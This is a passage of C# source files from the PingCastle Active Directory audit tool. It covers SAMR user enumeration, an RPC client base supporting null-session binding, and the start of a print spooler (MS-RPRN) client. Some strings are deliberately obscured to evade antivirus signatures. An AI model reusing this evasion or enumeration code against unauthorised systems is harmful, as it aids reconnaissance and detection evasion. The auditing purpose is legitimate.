184 | if (EnumerateCallback != null)
185 | {
186 | EnumerateCallback(new NTAccount(Buffer[i].Name, EnumerationBuffer[j].Name));
187 | }
188 | }
189 | }
190 | }
191 | Trace.WriteLine("SamrEnumerateUsersInDomain " + returnCode);
192 | }
193 | finally
194 | {
195 | sam.SamrCloseHandle(ref DomainHandle);
196 | }
197 | }
198 | }
199 | finally
200 | {
201 | sam.SamrCloseHandle(ref ServerHandle);
202 | }
203 | Trace.WriteLine("EnumerateAccountUsingSamr done");
204 | return UserEnumerated > 0;
205 | }
206 |
207 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
208 | public static SecurityIdentifier BuildSIDFromDomainSidAndRid(SecurityIdentifier DomainSid, UInt32 Rid)
209 | {
210 | byte[] sidByteForm = new byte[SecurityIdentifier.MaxBinaryLength];
211 | DomainSid.GetBinaryForm(sidByteForm, 0);
212 | GCHandle handle = GCHandle.Alloc(sidByteForm, GCHandleType.Pinned);
213 | IntPtr sidIntPtr = handle.AddrOfPinnedObject();
214 |
215 | IntPtr SubAuthorityCountIntPtr = NativeMethods.GetSidSubAuthorityCount(sidIntPtr);
216 | byte SubAuthorityCount = Marshal.ReadByte(SubAuthorityCountIntPtr);
217 | Marshal.WriteByte(SubAuthorityCountIntPtr, ++SubAuthorityCount);
218 |
219 | IntPtr SubAuthorityIntPtr = NativeMethods.GetSidSubAuthority(sidIntPtr, (uint)SubAuthorityCount - 1);
220 | Marshal.WriteInt32(SubAuthorityIntPtr, (int)Rid);
221 | SecurityIdentifier output = new SecurityIdentifier(sidIntPtr);
222 | handle.Free();
223 | return output;
224 | }
225 |
226 |
227 | }
228 | }
229 |
--------------------------------------------------------------------------------
/Database/PingCastle/RPC/rpcapi.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Copyright (c) Ping Castle. All rights reserved.
3 | // https://www.pingcastle.com
4 | //
5 | // Licensed under the Non-Profit OSL. See LICENSE file in the project root for full license information.
6 | //
7 | using System;
8 | using System.Diagnostics;
9 | using System.Runtime.InteropServices;
10 | using System.Security.Permissions;
11 |
12 | namespace PingCastle.RPC
13 | {
14 | public abstract class rpcapi
15 | {
16 |
17 | private byte[] MIDL_ProcFormatString;
18 | private byte[] MIDL_TypeFormatString;
19 | private GCHandle procString;
20 | private GCHandle formatString;
21 | private GCHandle stub;
22 | protected IntPtr rpcClientInterface;
23 | private GCHandle faultoffsets;
24 | private GCHandle clientinterface;
25 | private GCHandle bindinghandle;
26 | private string PipeName;
27 |
28 | // important: keep a reference on delegate to avoid CallbackOnCollectedDelegate exception
29 | bind BindDelegate;
30 | unbind UnbindDelegate;
31 | allocmemory AllocateMemoryDelegate = AllocateMemory;
32 | freememory FreeMemoryDelegate = FreeMemory;
33 |
34 | public bool UseNullSession { get; set; }
35 | // 5 seconds
36 | public UInt32 RPCTimeOut = 5000;
37 |
38 | [StructLayout(LayoutKind.Sequential)]
39 | private struct COMM_FAULT_OFFSETS
40 | {
41 | public short CommOffset;
42 | public short FaultOffset;
43 | }
44 |
45 | [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1049:TypesThatOwnNativeResourcesShouldBeDisposable"), StructLayout(LayoutKind.Sequential)]
46 | private struct GENERIC_BINDING_ROUTINE_PAIR
47 | {
48 | public IntPtr Bind;
49 | public IntPtr Unbind;
50 | }
51 |
52 |
53 | [StructLayout(LayoutKind.Sequential)]
54 | private struct RPC_VERSION
55 | {
56 | public ushort MajorVersion;
57 | public ushort MinorVersion;
58 |
59 |
60 | public static readonly RPC_VERSION INTERFACE_VERSION = new RPC_VERSION() { MajorVersion = 1, MinorVersion = 0 };
61 | public static readonly RPC_VERSION SYNTAX_VERSION = new RPC_VERSION() { MajorVersion = 2, MinorVersion = 0 };
62 |
63 | public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor)
64 | {
65 | MajorVersion = InterfaceVersionMajor;
66 | MinorVersion = InterfaceVersionMinor;
67 | }
68 | }
69 |
70 | [StructLayout(LayoutKind.Sequential)]
71 | private struct RPC_SYNTAX_IDENTIFIER
72 | {
73 | public Guid SyntaxGUID;
74 | public RPC_VERSION SyntaxVersion;
75 | }
76 |
77 |
78 |
79 | [StructLayout(LayoutKind.Sequential)]
80 | private struct RPC_CLIENT_INTERFACE
81 | {
82 | public uint Length;
83 | public RPC_SYNTAX_IDENTIFIER InterfaceId;
84 | public RPC_SYNTAX_IDENTIFIER TransferSyntax;
85 | public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable;
86 | public uint RpcProtseqEndpointCount;
87 | public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint;
88 | public IntPtr Reserved;
89 | public IntPtr InterpreterInfo;
90 | public uint Flags;
91 |
92 | public static readonly Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B,
93 | 0x10,
94 | 0x48, 0x60);
95 |
96 | public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor = 1, ushort InterfaceVersionMinor = 0)
97 | {
98 | Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE));
99 | InterfaceId = new RPC_SYNTAX_IDENTIFIER() { SyntaxGUID = iid, SyntaxVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor) };
100 | TransferSyntax = new RPC_SYNTAX_IDENTIFIER() { SyntaxGUID = IID_SYNTAX, SyntaxVersion = RPC_VERSION.SYNTAX_VERSION };
101 | DispatchTable = IntPtr.Zero;
102 | RpcProtseqEndpointCount = 0u;
103 | RpcProtseqEndpoint = IntPtr.Zero;
104 | Reserved = IntPtr.Zero;
105 | InterpreterInfo = IntPtr.Zero;
106 | Flags = 0u;
107 | }
108 | }
109 |
110 | [StructLayout(LayoutKind.Sequential)]
111 | private struct MIDL_STUB_DESC
112 | {
113 | public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation;
114 | public IntPtr pfnAllocate;
115 | public IntPtr pfnFree;
116 | public IntPtr pAutoBindHandle;
117 | public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines;
118 | public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs;
119 | public IntPtr /*EXPR_EVAL*/ apfnExprEval;
120 | public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple;
121 | public IntPtr pFormatTypes;
122 | public int fCheckBounds;
123 | /* Ndr library version. */
124 | public uint Version;
125 | public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct;
126 | public int MIDLVersion;
127 | public IntPtr CommFaultOffsets;
128 | // New fields for version 3.0+
129 | public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple;
130 | // Notify routines - added for NT5, MIDL 5.0
131 | public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable;
132 | public IntPtr mFlags;
133 | // International support routines - added for 64bit post NT5
134 | public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables;
135 | public IntPtr ProxyServerInfo;
136 | public IntPtr /*NDR_EXPR_DESC*/ pExprInfo;
137 | // Fields up to now present in win2000 release.
138 |
139 | public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr,
140 | IntPtr pfnAllocatePtr, IntPtr pfnFreePtr, IntPtr aGenericBindingRoutinePairsPtr)
141 | {
142 | pFormatTypes = pFormatTypesPtr;
143 | RpcInterfaceInformation = RpcInterfaceInformationPtr;
144 | CommFaultOffsets = IntPtr.Zero;
145 | pfnAllocate = pfnAllocatePtr;
146 | pfnFree = pfnFreePtr;
147 | pAutoBindHandle = IntPtr.Zero;
148 | apfnNdrRundownRoutines = IntPtr.Zero;
149 | aGenericBindingRoutinePairs = aGenericBindingRoutinePairsPtr;
150 | apfnExprEval = IntPtr.Zero;
151 | aXmitQuintuple = IntPtr.Zero;
152 | fCheckBounds = 1;
153 | Version = 0x50002u;
154 | pMallocFreeStruct = IntPtr.Zero;
155 | MIDLVersion = 0x8000253;
156 | aUserMarshalQuadruple = IntPtr.Zero;
157 | NotifyRoutineTable = IntPtr.Zero;
158 | mFlags = new IntPtr(0x00000001);
159 | CsRoutineTables = IntPtr.Zero;
160 | ProxyServerInfo = IntPtr.Zero;
161 | pExprInfo = IntPtr.Zero;
162 | }
163 | }
164 |
165 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
166 | protected void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, string pipe, ushort MajorVerson = 1, ushort MinorVersion = 0)
167 | {
168 | this.MIDL_ProcFormatString = MIDL_ProcFormatString;
169 | this.MIDL_TypeFormatString = MIDL_TypeFormatString;
170 | PipeName = pipe;
171 | procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned);
172 |
173 | RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion);
174 | GENERIC_BINDING_ROUTINE_PAIR bindingObject = new GENERIC_BINDING_ROUTINE_PAIR();
175 | // important: keep a reference to avoid CallbakcOnCollectedDelegate Exception
176 | BindDelegate = Bind;
177 | UnbindDelegate = Unbind;
178 | bindingObject.Bind = Marshal.GetFunctionPointerForDelegate((bind)BindDelegate);
179 | bindingObject.Unbind = Marshal.GetFunctionPointerForDelegate((unbind)UnbindDelegate);
180 |
181 | faultoffsets = GCHandle.Alloc(new COMM_FAULT_OFFSETS() { CommOffset = -1, FaultOffset = -1 }, GCHandleType.Pinned);
182 | clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned);
183 | formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned);
184 | bindinghandle = GCHandle.Alloc(bindingObject, GCHandleType.Pinned);
185 |
186 | MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(),
187 | clientinterface.AddrOfPinnedObject(),
188 | Marshal.GetFunctionPointerForDelegate(AllocateMemoryDelegate),
189 | Marshal.GetFunctionPointerForDelegate(FreeMemoryDelegate),
190 | bindinghandle.AddrOfPinnedObject());
191 | rpcClientInterface = stubObject.RpcInterfaceInformation;
192 |
193 | stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned);
194 | }
195 |
196 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
197 | protected void freeStub()
198 | {
199 | procString.Free();
200 | faultoffsets.Free();
201 | clientinterface.Free();
202 | formatString.Free();
203 | bindinghandle.Free();
204 | stub.Free();
205 | }
206 |
207 | delegate IntPtr allocmemory(int size);
208 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
209 | protected static IntPtr AllocateMemory(int size)
210 | {
211 | IntPtr memory = Marshal.AllocHGlobal(size);
212 | //Trace.WriteLine("allocating " + memory.ToString());
213 | return memory;
214 | }
215 |
216 | delegate void freememory(IntPtr memory);
217 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
218 | protected static void FreeMemory(IntPtr memory)
219 | {
220 | //Trace.WriteLine("freeing " + memory.ToString());
221 | Marshal.FreeHGlobal(memory);
222 | }
223 |
224 | protected static string Reverse(string s)
225 | {
226 | char[] charArray = s.ToCharArray();
227 | Array.Reverse(charArray);
228 | return new string(charArray);
229 | }
230 |
231 | delegate IntPtr bind(IntPtr IntPtrserver);
232 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
233 | protected IntPtr Bind(IntPtr IntPtrserver)
234 | {
235 | string server = Marshal.PtrToStringUni(IntPtrserver);
236 | IntPtr bindingstring = IntPtr.Zero;
237 | IntPtr binding = IntPtr.Zero;
238 | Int32 status;
239 |
240 | Trace.WriteLine("Binding to " + server + " " + PipeName);
241 | status = NativeMethods.RpcStringBindingCompose(null, Reverse("pn_ncacn"), server, PipeName, null, out bindingstring);
242 | if (status != 0)
243 | {
244 | Trace.WriteLine("RpcStringBindingCompose failed with status 0x" + status.ToString("x"));
245 | return IntPtr.Zero;
246 | }
247 | status = NativeMethods.RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding);
248 | NativeMethods.RpcBindingFree(ref bindingstring);
249 | if (status != 0)
250 | {
251 | Trace.WriteLine("RpcBindingFromStringBinding failed with status 0x" + status.ToString("x"));
252 | return IntPtr.Zero;
253 | }
254 | if (UseNullSession)
255 | {
256 | // note: windows xp doesn't support user or domain = "" => return 0xE
257 | NativeMethods.SEC_WINNT_AUTH_IDENTITY identity = new NativeMethods.SEC_WINNT_AUTH_IDENTITY();
258 | identity.User = "";
259 | identity.UserLength = identity.User.Length * 2;
260 | identity.Domain = "";
261 | identity.DomainLength = identity.Domain.Length * 2;
262 | identity.Password = "";
263 | identity.Flags = 2;
264 |
265 | NativeMethods.RPC_SECURITY_QOS qos = new NativeMethods.RPC_SECURITY_QOS();
266 | qos.Version = 1;
267 | qos.ImpersonationType = 3;
268 | GCHandle qoshandle = GCHandle.Alloc(qos, GCHandleType.Pinned);
269 |
270 | // 9 = negotiate , 10 = ntlm ssp
271 | status = NativeMethods.RpcBindingSetAuthInfoEx(binding, server, 0, 9, ref identity, 0, ref qos);
272 | qoshandle.Free();
273 | if (status != 0)
274 | {
275 | Trace.WriteLine("RpcBindingSetAuthInfoEx failed with status 0x" + status.ToString("x"));
276 | Unbind(IntPtrserver, binding);
277 | return IntPtr.Zero;
278 | }
279 | }
280 |
281 | status = NativeMethods.RpcBindingSetOption(binding, 12, RPCTimeOut);
282 | if (status != 0)
283 | {
284 | Trace.WriteLine("RpcBindingSetOption failed with status 0x" + status.ToString("x"));
285 | }
286 | Trace.WriteLine("binding ok (handle=" + binding + ")");
287 | return binding;
288 | }
289 |
290 | protected string magic(int num)
291 | {
292 | var s = new System.Text.StringBuilder();
293 | for (int i = 1; i <= num; i++)
294 | {
295 | s.Append(i);
296 | }
297 | return s.ToString();
298 | }
299 |
300 | protected Int32 Bind(string server, out IntPtr binding)
301 | {
302 | IntPtr bindingstring = IntPtr.Zero;
303 | binding = IntPtr.Zero;
304 | Int32 status;
305 |
306 | status = NativeMethods.RpcStringBindingCompose(null, "ncacn_ip_tcp", server, "135", null, out bindingstring);
307 | if (status != 0)
308 | return status;
309 | status = NativeMethods.RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding);
310 | NativeMethods.RpcBindingFree(ref bindingstring);
311 | if (status != 0)
312 | return status;
313 |
314 | status = NativeMethods.RpcBindingSetAuthInfo(binding, null, 1, 0, IntPtr.Zero, 0);
315 | if (status != 0)
316 | {
317 | Unbind(IntPtr.Zero, binding);
318 | return status;
319 | }
320 |
321 | status = NativeMethods.RpcBindingSetOption(binding, 12, RPCTimeOut);
322 | return status;
323 | }
324 |
325 | delegate void unbind(IntPtr IntPtrserver, IntPtr hBinding);
326 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
327 | protected static void Unbind(IntPtr IntPtrserver, IntPtr hBinding)
328 | {
329 | string server = Marshal.PtrToStringUni(IntPtrserver);
330 | Trace.WriteLine("unbinding " + server);
331 | NativeMethods.RpcBindingFree(ref hBinding);
332 | }
333 |
334 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
335 | protected IntPtr GetProcStringHandle(int offset)
336 | {
337 | return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatString, offset);
338 | }
339 |
340 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
341 | protected IntPtr GetStubHandle()
342 | {
343 | return stub.AddrOfPinnedObject();
344 | }
345 |
346 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
347 | protected IntPtr CallNdrClientCall2x86(int offset, params IntPtr[] args)
348 | {
349 |
350 | GCHandle stackhandle = GCHandle.Alloc(args, GCHandleType.Pinned);
351 | IntPtr result;
352 | try
353 | {
354 | result = NativeMethods.NdrClientCall2x86(GetStubHandle(), GetProcStringHandle(offset), stackhandle.AddrOfPinnedObject());
355 | }
356 | finally
357 | {
358 | stackhandle.Free();
359 | }
360 | return result;
361 | }
362 |
363 | }
364 | }
365 |
--------------------------------------------------------------------------------
/Database/PingCastle/RPC/spool.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.Runtime.InteropServices;
4 | using System.Security.Permissions;
5 |
6 | namespace PingCastle.RPC
7 | {
8 | public class rprn : rpcapi
9 | {
10 | // malware designers:
11 | // please not reuse this class
12 | // or if you get inspiration from it, rename at least the class & variables ...
13 | // AV providers are using hash of variable to setup signatures.
14 |
15 | // AV providers:
16 | // PingCastle binaries are signed (even debug build)
17 | // If you setup a signature for this class,
18 | // please do not report signed binaries by PingCastle
19 |
20 | private static byte[] MIDL_ProcFormatStringx86 = Convert.FromBase64String("AEgAAAAAAAAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAAAEAGAAxBAAAAFwIAEAARgYIBQAAAQAAAAsAAAACABABBAAKAAsACAACAAsBDAAeAEgAEAAIAHAAFAAIAABIAAAAAAIACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAADAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAABAAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAAAUACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAGAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAABwAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAAAgACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAJAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAACgAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAAAsACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAMAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAADQAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAAA4ACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAPAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAEAAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAABEACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAASAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAEwAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAABQACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAVAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAFgAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAABcACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAYAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAGQAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAABoACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAbAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAHAAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAAB0ACAAw4AAAAAA4AEAARAIIAQAAAAAAABgBAAA2AHAABAAIAABIAAAAAB4ACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAfAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAIAAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAACEACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAiAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAIwAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAACQACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAlAAQAMgAAAAAAAABAAAgBAAAAAAAAAEgAAAAAJgAEADIAAAAAAAAAQAAIAQAAAAAAAABIAAAAACcACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAoAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAKQAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAACoACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAArAAQAMgAAAAAAAABAAAgBAAAAAAAAAEgAAAAALAAEADIAAAAAAAAAQAAIAQAAAAAAAABIAAAAAC0ABAAyAAAAAAAAAEAACAEAAAAAAAAASAAAAAAuAAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAALwAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAADAACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAAxAAQAMgAAAAAAAABAAAgBAAAAAAAAAEgAAAAAMgAEADIAAAAAAAAAQAAIAQAAAAAAAABIAAAAADMACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAA0AAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAANQAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAADYABAAyAAAAAAAAAEAACAEAAAAAAAAASAAAAAA3AAQAMgAAAAAAAABAAAgBAAAAAAAAAEgAAAAAOAAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAADkABAAyAAAAAAAAAEAACAEAAAAAAAAASAAAAAA6AAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAOwAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAADwACAAyAAAAAAAIAEQBCAEAAAAAAABwAAQACAAASAAAAAA9AAgAMgAAAAAACABEAQgBAAAAAAAAcAAEAAgAAEgAAAAAPgAIADIAAAAAAAgARAEIAQAAAAAAAHAABAAIAABIAAAAAD8ABAAyAAAAAAAAAEAACAEAAAAAAAAASAAAAABAAAQAMgAAAAAAAABAAAgBAAAAAAAAAEgAAAAAQQAcADBAAAAAADwACABGBwgFAAABAAAACAAAADoASAAEAAgASAAIAAgACwAMAAIASAAQAAgACwAUAD4AcAAYAAgAAA==");
21 |
22 | private static byte[] MIDL_ProcFormatStringx64 = Convert.FromBase64String("AEgAAAAAAAAQADIAAAAAAAgARAEKAQAAAAAAAAAAcAAIAAgAAEgAAAAAAQAwADEIAAAAXAgAQABGBgoFAAABAAAAAAALAAAAAgAQAQgACgALABAAAgALARgAHgBIACAACABwACgACAAASAAAAAACABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAADABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAEABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAFABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAGABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAHABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAIABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAJABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAKABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAALABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAMABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAANABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAOABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAPABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAQABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAARABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAASABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAATABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAUABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAVABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAWABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAXABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAYABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAZABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAaABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAbABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAcABAAMgAAAAAACABEAQoBAAAAAAAAAABwAAgACAAASAAAAAAdABAAMOAAAAAAOABAAEQCCgEAAAAAAAAAABgBAAAyAHAACAAIAABIAAAAAB4AEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAAB8AEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACAAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACEAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACIAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACMAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACQAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACUACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAACYACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAACcAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACgAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACkAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACoAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAACsACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAACwACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAAC0ACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAAC4AEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAAC8AEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAADAAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAADEACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAADIACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAADMAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAADQAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAADUAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAADYACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAADcACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAADgAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAADkACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAADoAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAADsAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAADwAEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAAD0AEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAAD4AEAAyAAAAAAAIAEQBCgEAAAAAAAAAAHAACAAIAABIAAAAAD8ACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAAEAACAAyAAAAAAAAAEAACgEAAAAAAAAAAABIAAAAAEEAOAAwQAAAAAA8AAgARgcKBQAAAQAAAAAACAAAADYASAAIAAgASAAQAAgACwAYAAIASAAgAAgACwAoADoAcAAwAAgAAA==");
23 |
24 |
25 | private static byte[] MIDL_TypeFormatStringx86_clamav2 = Convert.FromBase64String("AAASCCVcEQQCADCgAAARAA4AGwABABkAAAABAAFbFgMIAEtcRlwEAAQAEgDm/1sICFsRBAIAMOEAADBBAAASAEgAGwECABkADAABAAZbFgMUAEtcRlwQABAAEgDm/1sGBggICAhbGwMUABkACAABAEtcSEkUAAAAAQAQABAAEgDC/1tMAMn/WxYDEABLXEZcDAAMABIA0P9bCAgICFsA");
26 |
27 | private static byte[] MIDL_TypeFormatStringx64_clamav2 = Convert.FromBase64String("AAASCCVcEQQCADCgAAARAA4AGwABABkAAAABAAFbGgMQAAAABgAIQDZbEgDm/xEEAgAw4QAAMEEAABIAOAAbAQIAGQAMAAEABlsaAxgAAAAKAAYGCAgINlxbEgDi/yEDAAAZAAgAAQD/////AABMANr/XFsaAxgAAAAIAAgICEA2WxIA2v8A");
28 |
29 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
30 | public rprn()
31 | {
32 | Guid interfaceId = new Guid(magic(8) + "-" + magic(4) + "-ABCD-EF00-0123456789AB");
33 | if (IntPtr.Size == 8)
34 | {
